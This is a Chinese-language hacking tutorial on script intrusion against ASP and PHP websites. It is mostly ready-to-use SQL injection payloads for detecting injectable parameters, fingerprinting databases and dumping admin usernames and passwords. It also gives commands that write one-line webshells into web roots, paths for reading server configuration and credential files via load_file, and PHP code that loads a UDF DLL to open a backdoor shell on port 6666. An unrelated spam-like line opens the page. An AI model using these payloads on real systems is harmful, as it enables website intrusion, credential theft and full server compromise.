自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

滲透筆記之腳本入侵(ASP、PHP)

安全 應(yīng)用安全
建立一個有一個A字段的表 表名為a 字段類型為字符長度為50,在表A的a字段插入密碼為90sec的一句話木馬,把表a的內(nèi)容導(dǎo)出為物理路徑的一個EXCEL文件,導(dǎo)出為EXCEL后在利用IIS解析漏洞就可以變成小馬了。

簡單判定有無漏洞:

粗略型:'

1. 數(shù)字型:

and 1=1 and 1=2

2.字符型:

' and '1'='1 ' and '1'='2

3.搜索型:

%' and 1=1 and '%'='% 或者 %' and 1=2 and '%'='%

(PS:第三個大家可能不常用,他一般在ASP腳本中一般寫成:keyword=request(”keyword”),賦值“KYO”到SQL語句中的時候即變?yōu)镾elect * from 表名 where keyword like ‘%KYO%’)

簡單判斷數(shù)據(jù)庫信息:

語句型(IIS報不報錯,語句自己區(qū)分):

and user>0

and  (select count(*) from msysobjects)>0 ……(頁面錯誤為access數(shù)據(jù)庫)

and  (select count(*) from sysobjects)>0 ……(頁面正常為MSSQL數(shù)據(jù)庫)

and  db_name()>0 ……(爆數(shù)據(jù)庫名)

version>0  (爆SQLServer版本信息以及服務(wù)器操作系統(tǒng)的類型和版本信息)

粗略型:加 ’(根據(jù)服務(wù)器報錯的信息來判斷)

加 ;--(;和--MSSQL數(shù)據(jù)庫里面一般都有, ; 表示分離,-- 則是注釋符ACCESS數(shù)據(jù)庫里沒有)

判斷MYSQL權(quán)限:

and 0<>(Select ISSRVROLEMEMBER(’sysadmin’))--(頁面正常則為SA)

and 0<>(Select IS_MEMBER(’db_owner’))--(頁面正常則為db_owner)

and 0<>(Select IS_MEMBER(’public’))--(頁面正常則是public)

PS:以上方法適用于參數(shù)是int的時候,若為字符型,需在參數(shù)后添加’和查詢語句后添加;--

開始進行SQL注入(ACCESS):

猜解表名:

and 0<>(select count(*) from 表名) 或and exists(Select * from 表名)

and 1<(select count(*) from 表名) (頁面錯誤說明帳號數(shù)目就是1個)

猜解字段:

and exists(Select 字段名 from 表名)(頁面正常存在,不正常不存在)

猜解用戶名和密碼長度:

and(Select top 1 len(列名) from 表名)>N (TOP表示把最前面的一條記錄提取出來;N為變換猜解的列長度,頁面錯誤即說明該列長度為N)

如:and 1=(select count(*) from user where len(name)>6) 錯誤

and 1=(select count(*) from user where len(name)>5) 正確

則長度是6

猜解用戶名和密碼:and (select top 1 asc(mid(列名,1,1)) from 表名)>0

如:and (select top 1 asc(mid(user,1,1)) from name)>96頁面正常

and (select top 1 asc(mid(user,1,1)) from name)>97頁面錯誤

則ASCLL碼為97

PS:因為MD5的密文只有16,18,32,40這幾個,所以猜解密碼的時候只要試一試15,16,17,18,31,32,39,40等就簡單些。

開始進行SQL注入(MYSQL):

爆出表名和字段: having 1=1--

插入新記錄: group by users.ID having 1=1--

group by users.ID, users.username, users.password, users.privs having 1=1--

; insert into users values( 666, attacker, foobar, 0xffff )--

猜解表名:and (select top 1 name from sysobjects where xtype='u')>0 (獲得第一個表名)

and (select top 1 name from sysobjects where xtype='u' and name not in ('user'))>0(獲得第二個表名)

………………

猜解列名:and (select top 1 col_name(object_id('字段'),1) from sysobjects)>0(得到字段的第一個列名)

猜解字段內(nèi)容:and (select top 1 列名 from [表名])>0

如:and (select top 1 username from [admin])>0 (獲取用戶名)

and (select top 1 password from [admin])>0 (獲取密碼)

導(dǎo)出webshell:

1.利用SQL執(zhí)行命令功能導(dǎo)出WebShell:

SELECT '<%execute request("a")%>' into [vote] in 'd:\web\x.asp;.xls' 'excel 8.0;' from vote

PS:需提供SQL執(zhí)行功能且知道絕對路徑方可使用(vote為已知表段)

2.建立一個有一個A字段的表 表名為a 字段類型為字符長度為50,在表A的a字段插入密碼為90sec的一句話木馬,把表a的內(nèi)容導(dǎo)出為物理路徑的一個EXCEL文件,導(dǎo)出為EXCEL后在利用IIS解析漏洞就可以變成小馬了。

語句:

create table cmd (a varchar(50))

insert into cmd (a) values ('<%execute request("90sec")%>')

select * into [a] in 'f:\host\qhdyxt\web\a.asp;.xls' 'excel 4.0;' from cmd

drop table cmd

復(fù)制代碼

提權(quán):

1.system權(quán)限下直接添加賬號(可能的話):直接CMD命令添加

2.使用shell自帶的提權(quán)功能:Serv_U,pcAnywhere,Radmin密碼讀取等,全部試一試

3.利用系統(tǒng)的漏洞進行溢出提權(quán):利用巴西烤肉提權(quán),在CMD命令一行里輸入C:\recycler\1.exe空格“CMD命令”,1.exe就是巴西烤肉咯

4.用軟件的漏洞來提權(quán)(這個機會比較渺茫,個人沒有成功過)

5.在conn.asp webconfig.asp等文件查找SA密碼或者查找inc.php 等文件里面的ROOT密碼(可以用CMD語句查找,如:利用CMD命令 dir /s d:\conn.asp 或者 dir /s d:\*inc*.php 來查找配置文件)

PHP+MYSQL

1.漏洞判斷同上。

2.數(shù)據(jù)庫信息判斷:

1.數(shù)據(jù)庫類型,簡單的直接利用上面的相關(guān)語句就可以

2.爆數(shù)據(jù)庫的版本信息,庫名以及用戶名(前提得到字段數(shù)及可利用字段):and 1=2 union select 1,2,3,4,version(),database(),user(),8--

或者:+union+select+1,2,,3,4,database(),version(),user(),8 (要在參數(shù)前加-)

3.數(shù)據(jù)庫權(quán)限:and ord(mid(user(),1,1))=114 /* (頁面正常說明為root)

4.爆操作系統(tǒng)相關(guān)信息:and 1=2 union all select @@global.version_compile_os from mysql.user /*

3.開始注入:

1.查詢字段: (1)用union聯(lián)合查詢:and 1=1 union select 1,2,3,4,5……

(2)用order by 查詢“order by *--

2.爆可利用字段:and 1=2 union select 1,2,3,4,5,6,7……--

或者+union+select+1,2,3,4,5,6,7…… (要在參數(shù)前加-)

PS:不用猜解可用字段暴數(shù)據(jù)庫信息(部分網(wǎng)站適用):

and 1=2 union all select version() /*

and 1=2 union all select database() /*

and 1=2 union all select user() /*

第一種方法:  暴庫

3.暴庫 (前提是mysql>5.0,因為Mysql 5 以上有內(nèi)置庫 information_schema,存儲著mysql的所有數(shù)據(jù)庫和表結(jié)構(gòu)信息):

and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1

4.猜解表名:and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=數(shù)據(jù)庫(十六進制) limit 0(開始的記錄,0為第一個開始記錄),1(顯示1條記錄)--

5.猜解字段:and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六進制)limit 0,1

6.爆密碼:and 1=2 Union select 1,2,3,用戶名段,5,6,7,密碼段,8,9 from 表名 limit 0,1

PS:高級用法:Union select 1,2,3concat(用戶名段,0x3c,密碼段),5,6,7,8,9 from 表名 limit 0,1

第二種方法:利用虛擬庫information_schema 爆表

3.+union+select+1,2,3,4,table_name,5+from+information_schema.tables+where+table_schema=數(shù)據(jù)庫名的16進制+limit+1,1

或者and 1=2 union select 1,2,3,4,table_name,5 from information_schema.tables where table_schema=數(shù)據(jù)庫名的16進制 limit 1,1--

PS: limit 1,1可以變化,查詢下一個

4.利用表爆字段:+union+select+1,2,3,4,column_name,5+from+information_schema.columns+where+table_name=爆出來的字段的16進制                                           或者:and 1=2 union select 1,2,3,4,column_name,5 from information_schema.columns where table_name=爆出來的字段的16進制--

5.爆用戶名和密碼:+union+select+1,2,3,用戶名字段,密碼字段,6+from+管理表

或者:and 1=2 union select 1,2,3,用戶名字段,密碼字段,6 from 管理表--

(PS:一次性爆表:.+union+select+1,2,3,4,GROUP_CONCAT(DISTINCT+table_name),6+from+information_schema.columns+where+table_schema=數(shù)據(jù)庫名的16進制

一次性爆出所有字段:+union+select+1,2,3,4,GROUP_CONCAT(DISTINCT+column_name),6+from+information_schema.columns+where+table_schema=數(shù)據(jù)庫名的16進制

一次性爆密碼和用戶名:+union+select+1,2,3,4,GROUP_CONCAT(DISTINCT+用戶名,0x5f,密碼),6+from+管理表)

PS:這里面所有的+號是代替空格的,還可以用/**/來代替,不同情況,不同分析!但是參數(shù)前必須加-4.拿webshell

1.導(dǎo)出一句話拿WebShell

Drop TABLE IF EXISTS temp;Create TABLE temp(cmd text NOT NULL); Insert INTO temp (cmd) VALUES('<? php eval($_POST[cmd]);?>'); Select cmd from temp into out file 'F:/wwwroot/eval.php'; Drop TABLE IF EXISTS temp;

或者:

Select '<? php eval($_POST[cmd]);?>' into outfile 'F:/wwwroot/eval.php';

復(fù)制代碼

PS:eval.php是導(dǎo)入對象

5.提權(quán):

第一種方法:直接寫馬(Root權(quán)限)

條件:1、知道站點物理路徑

2、有足夠大的權(quán)限(可以用select …. from mysql.user測試)

3、magic_quotes_gpc()=OFF

select   ‘<?php eval($_POST[cmd])?>’   into outfile ‘物理路徑’

and 1=2 union all select 一句話HEX值 into outfile '路徑'

load_file() 常用路徑:

1、 replace(load_file(0×2F6574632F706173737764),0×3c,0×20)

2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))

上面兩個是查看一個PHP文件里完全顯示代碼.有些時候不替換一些字符,如 “<” 替換成”空格” 返回的是網(wǎng)頁.而無法查看到代碼.

3、 load_file(char(47)) 可以列出FreeBSD,Sunos系統(tǒng)根目錄

4、/etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看linux APACHE虛擬主機配置文件

5、c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf 查看WINDOWS系統(tǒng)apache文件

6、c:/Resin-3.0.14/conf/resin.conf   查看jsp開發(fā)的網(wǎng)站 resin文件配置信息.

7、c:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系統(tǒng)配置的JSP虛擬主機

8、d:\APACHE\Apache2\conf\httpd.conf

9、C:\Program Files\mysql\my.ini

10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路徑

11、 c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虛擬主機配置文件

12、 /usr/local/resin-3.0.22/conf/resin.conf 針對3.0.22的RESIN配置文件查看

13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上

14 、/usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虛擬主機查看

15、 /etc/sysconfig/iptables 本看防火墻策略

16 、 usr/local/app/php5 b/php.ini PHP 的相當設(shè)置

17 、/etc/my.cnf MYSQL的配置文件

18、 /etc/redhat-release   紅帽子的系統(tǒng)版本

19 、C:\mysql\data\mysql\user.MYD 存在MYSQL系統(tǒng)中的用戶密碼

20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.

21、/usr/local/app/php5 b/php.ini //PHP相關(guān)設(shè)置

22、/usr/local/app/apache2/conf/extra tpd-vhosts.conf //虛擬網(wǎng)站設(shè)置

23、C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini

24、c:\windows\my.ini

25、c:\boot.ini

網(wǎng)站常用配置文件 config.inc.php、config.php。load_file()時要用replace(load_file(HEX),char(60),char(32))

注:

Char(60)表示 <

Char(32)表示 空格

第二種方法:直接在PHPSPY新建一個PHP文件.

輸入以下的內(nèi)容

$link=mysql_connect('127.0.0.1','root','root');

if (!$link) {die('Could NOt Connect The Database!: ' . mysql_error());};

echo "Good Boy.Connected!";

//這里的root\root就是從my.ini中讀取的用戶和密碼.

@mysql_select_db('mysql') or die ('use database mysql failed!');

echo "Yes You Did!";

//這里選擇使用MySQL數(shù)據(jù)庫表.當然你也可以選擇別的,如test.

$query="Create Function Shell RETURNS INTEGER SONAME 'd:\\wwwroot\\FurQ.dll';";

@$result = mysql_query($query, $link) or die ("Create Function Failed!");

echo "Goddess...Successed!";

//這兩句話是關(guān)鍵,執(zhí)行MySQL的創(chuàng)建函數(shù)語句.將d:\wwwroot\furq.dll中的Shell函數(shù)創(chuàng)建進MySQL中.使得MySQL可以執(zhí)行這個Shell函數(shù).

$query="Select Shell();";

@$result = mysql_query($query, $link) or die ("Execute failed");

echo "Congratulations! Connect The Port 6666 Of This Server VS password:FurQ";

//這一步是執(zhí)行這個Shell函數(shù),打開服務(wù)器的6666端口.

?>

然后再執(zhí)行,由于繼承的是MySQL的權(quán)限,而Win系統(tǒng)下MySQL默認以服務(wù)安裝,所以得到的Shell為LocalSystem權(quán)限

責(zé)任編輯:藍雨淚 來源: 法克論壇
相關(guān)推薦

2011-08-24 13:24:52

2010-09-14 17:20:57

2009-11-16 14:38:36

PHP上傳文件代碼

2013-12-30 13:11:03

2013-11-28 10:32:10

2013-12-10 09:51:18

2013-12-24 13:15:59

2014-04-03 09:35:28

2014-02-18 15:53:04

2013-11-28 11:29:39

2013-11-28 13:03:17

2009-08-05 17:58:24

UpdatePanel

2011-04-08 10:15:11

2014-06-09 14:18:24

2011-08-24 13:42:33

2011-08-24 13:24:41

2010-09-16 17:47:49

2015-04-16 11:16:05

PHPPOSIX正則表達式

2015-02-26 15:02:37

2023-08-28 07:03:43

PowerShell腳本運行
點贊
收藏

51CTO技術(shù)棧公眾號